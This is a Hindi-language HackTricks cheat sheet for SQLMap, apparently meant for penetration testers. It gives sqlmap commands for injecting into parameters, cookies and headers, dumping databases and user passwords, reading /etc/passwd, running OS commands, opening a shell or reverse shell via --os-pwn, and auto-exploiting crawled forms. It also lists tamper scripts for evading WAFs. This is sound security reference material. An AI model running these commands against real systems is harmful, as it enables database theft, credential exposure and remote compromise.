.. | ||
README.md | ||
second-order-injection-sqlmap.md |
SQLMap - चीटशीट
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs संग्रह The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।
सुरक्षा मूल्यांकन और पेनेट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप। कहीं से भी 20+ टूल और सुविधाओं के साथ पूर्ण पेनटेस्ट चलाएं जो पुनरीक्षण से रिपोर्टिंग तक जाते हैं। हम पेनटेस्टर्स को बदलने नहीं देते हैं - हम उन्हें वापस कुछ समय देने के लिए कस्टम टूल, पता लगाने और शोषण मॉड्यूल विकसित करते हैं ताकि वे गहराई में खोज कर सकें, शैल्स पॉप कर सकें, और मज़ा कर सकें।
{% embed url="https://pentest-tools.com/" %}
SQLmap के लिए मूल तर्क
सामान्य
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
जानकारी प्राप्त करें
आंतरिक
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
डीबी डेटा
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
इंजेक्शन स्थान
बर्प / ZAP कैप्चर से
रिक्वेस्ट को कैप्चर करें और एक req.txt फ़ाइल बनाएं
sqlmap -r req.txt --current-user
GET अनुरोध इन्जेक्शन
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST अनुरोध इन्जेक्शन
sqlmap -u "http://example.com" --data "username=*&password=*"
हेडर्स और अन्य HTTP विधियों में इंजेक्शन
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
सफलतापूर्वक अंश डालें जब अंश होता है
--string="string_showed_when_TRUE"
Eval
Sqlmap इस्तेमाल करने की अनुमति देता है -e
या --eval
को प्रत्येक पेलोड को भेजने से पहले कुछ पायथन वनलाइनर के साथ प्रोसेस करने के लिए। इससे पेलोड को भेजने से पहले कस्टम तरीके से पेलोड को प्रोसेस करना बहुत आसान और तेजी से हो जाता है। निम्नलिखित उदाहरण में फ्लास्क कुकी सेशन फ्लास्क द्वारा ज्ञात रहस्य के साथ साइन किया जाता है पहले इसे भेजने से पहले:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
शैल
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
फ़ाइल पढ़ें
--file-read=/etc/passwd
SQLmap के साथ एक वेबसाइट को क्रॉल करें और स्वचालित रूप से एक्सप्लॉइट करें
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
द्वितीय क्रम अधिसंधान
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
इस पोस्ट को पढ़ेंजिसमें बताया गया है कि sqlmap के साथ सरल और जटिल द्वितीय क्रम के इंजेक्शन कैसे किया जाए।
इंजेक्शन को अनुकूलित करना
एक सुफ़िक्स सेट करें
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
उपसर्ग
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
बूलियन इंजेक्शन खोजने में मदद
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
टैम्पर
ध्यान रखें कि आप अपना खुद का टैम्पर पायथन में बना सकते हैं और यह बहुत सरल है। आप एक टैम्पर उदाहरण द्वितीय क्रम हमले पृष्ठ यहाँ में देख सकते हैं।
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | विवरण |
---|---|
apostrophemask.py | अपोस्ट्रोफ वर्ण को उसके UTF-8 पूर्ण चौड़ाई विपरीत से बदलता है |
apostrophenullencode.py | अपोस्ट्रोफ वर्ण को उसके अवैध डबल यूनिकोड विपरीत से बदलता है |
appendnullbyte.py | पेलोड के अंत में एन्कोड किया गया नल बाइट वर्ण जोड़ता है |
base64encode.py | दिए गए पेलोड में सभी वर्णों को बेस64 करता है |
between.py | अधिक ऑपरेटर ('>') को '0 और #' के बीच नहीं' के साथ बदलता है |
bluecoat.py | SQL वक्तव्य के बाद रिक्त स्थान वर्ण को एक मान्य यादृच्छिक रिक्त स्थान वर्ण के साथ बदलता है। इसके बाद वर्ण '=' को LIKE ऑपरेटर से बदलता है |
chardoubleencode.py | दिए गए पेलोड में सभी वर्णों को डबल URL-एन्कोड करता है (पहले से एन्कोड नहीं कर रहा) |
commalesslimit.py | 'LIMIT M, N' जैसी घटनाओं को 'LIMIT N OFFSET M' के साथ बदलता है |
commalessmid.py | 'MID(A, B, C)' जैसी घटनाओं को 'MID(A FROM B FOR C)' के साथ बदलता है |
concat2concatws.py | 'CONCAT(A, B)' जैसी घटनाओं को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है |
charencode.py | दिए गए पेलोड में सभी वर्णों को URL-एन्कोड करता है (पहले से एन्कोड नहीं कर रहा) |
charunicodeencode.py | दिए गए पेलोड में गैर-एन्कोड वर्णों को यूनिकोड-URL-एन्कोड करता है ("%u0022") |
charunicodeescape.py | दिए गए पेलोड में गैर-एन्कोड वर्णों को यूनिकोड-URL-एन्कोड करता है ("\u0022") |
equaltolike.py | सभी ऑपरेटर बराबर ('=') को ऑपरेटर 'LIKE' के साथ बदलता है |
escapequotes.py | कोट वर्ण (' और ") को एस्लैश एस्केप करता है |
greatest.py | अधिक ऑपरेटर ('>') को 'GREATEST' विपरीत से बदलता है |
halfversionedmorekeywords.py | प्रत्येक कीवर्ड के पहले संस्करणित MySQL टिप्पणी जोड़ता है |
ifnull2ifisnull.py | 'IFNULL(A, B)' जैसी घटनाओं को 'IF(ISNULL(A), B, A)' के साथ बदलता है |
modsecurityversioned.py | संस्करणित टिप्पणी के साथ पूर्ण क्वेरी को आलिंब करता है |
modsecurityzeroversioned.py | शून्य-संस्करणित टिप्पणी के साथ पूर्ण क्वेरी को आलिंब करता है |
multiplespaces.py | SQL कीवर्डों के चारों ओर कई रिक्त स्थान जोड़ता है |
nonrecursivereplacement.py | पूर्वनिर्धारित SQL कीवर्डों को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्वों के साथ बदलता है (जैसे .replace("SELECT", "")) फ़िल्टर्स |
percentage.py | प्रत्येक वर्ण के आगे प्रतिशत चिह्न ('%') जोड़ता है |
overlongutf8.py | दिए गए पेलोड में सभी वर्णों को परिवर्तित करता है (पहले से एन्कोड नहीं कर रहा) |
randomcase.py | प्रत्येक कीवर्ड वर्ण को यादृच्छिक मामले मूल्य के साथ बदलता है |
randomcomments.py | SQL कीवर्डों में यादृच्छिक टिप्पणियाँ जोड़ता है |
securesphere.py | विशेष रचित स्ट्रिंग को अंत में जोड़ता है |
sp_password.py | डेटाबेस प्रोटोकॉल से ऑटोमेटिक अस्पष्टता के लिए पेलोड के अंत में 'sp_password' जोड़ता है |
space2comment.py | रिक्त स्थान वर्ण (' ') को टिप्पणियों के साथ बदलता है |
space2dash.py | रिक्त स्थान वर्ण (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है जिसे एक यादृच्छिक स्ट्रिंग और एक नयी पंक्ति ('\n') फॉलो करता है |
space2hash.py | रिक्त स्थान वर्ण (' ') को एक पाउंड वर्ण ('#') के साथ बदलता है जिसे एक यादृच्छिक स्ट्रिंग और एक नयी पंक्ति ('\n') फॉलो करता है |
space2morehash.py | रिक्त स्थान वर्ण (' ') को एक पाउंड वर्ण ('#') के साथ बदलता है जिसे एक यादृच्छिक स्ट्रिंग और एक नयी पंक्ति ('\n') फॉलो करता है |
space2mssqlblank.py | रिक्त स्थान वर्ण (' ') को एक मान्य सेट के वैकल्पिक वर्ण से एक यादृच्छिक रिक्त स्थान वर्ण के साथ बदलता है |
space2mssqlhash.py | रिक्त स्थान वर्ण (' ') को एक पाउंड वर्ण ('#') के साथ एक नयी पंक्ति ('\n') फॉलो करता है |
space2mysqlblank.py | रिक्त स्थान वर्ण (' ') को एक मान्य सेट के वैकल्पिक वर्ण से एक यादृच्छिक रिक्त स्थान वर्ण के साथ बदलता है |
space2mysqldash.py | रिक्त स्थान वर्ण (' ') को एक डैश टिप्पणी ('--') के साथ एक नयी पंक्ति ('\n') फॉलो करता है |
space2plus.py | रिक्त स्थान वर्ण (' ') को प्लस ('+') के साथ बदलता है |
space2randomblank.py | रिक्त स्थान वर्ण (' ') को एक मान्य सेट के वैकल्पिक वर्ण से एक यादृच्छिक रिक्त स्थान वर्ण के साथ बदलता है |
symboliclogical.py | AND और OR तार्किक ऑपरेटर को उनके प्रतीकात्मक विपरीत से बदलता है (&& और |
unionalltounion.py | UNION ALL SELECT को UNION SELECT के साथ बदलता है |
unmagicquotes.py | कोट वर्ण (') को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ जनेरिक टिप्पणी के साथ बदलता है (काम करने के लिए) |
uppercase.py | प्रत्येक कीवर्ड वर्ण को ऊपरी मामले मूल्य 'INSERT' के साथ बदलता है |
varnish.py | एक HTTP हेडर 'X-originating-IP' जोड़ता है |
सुरक्षा मूल्यांकन और प्रवेशन परीक्षण के लिए तुरंत उपलब्ध सेटअप। कहीं से भी 20+ टूल और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएं जो पुनरीक्षण से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को बदलने नहीं हैं - हम उन्हें वापस कुछ समय देने के लिए कस्टम टूल, पहचान और शोधन मॉड्यूल विकसित करते हैं ताकि वे गहराई में खोज कर सकें, शैल्स पॉप कर सकें, और मज़ा कर सकें।
{% embed url="https://pentest-tools.com/" %}
जानें जीरो से हीरो तक AWS हैकिंग के साथ htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी HackTricks में विज्ञापित हो या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs संग्रह The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 [@carlospolopm](https://twitter.com/h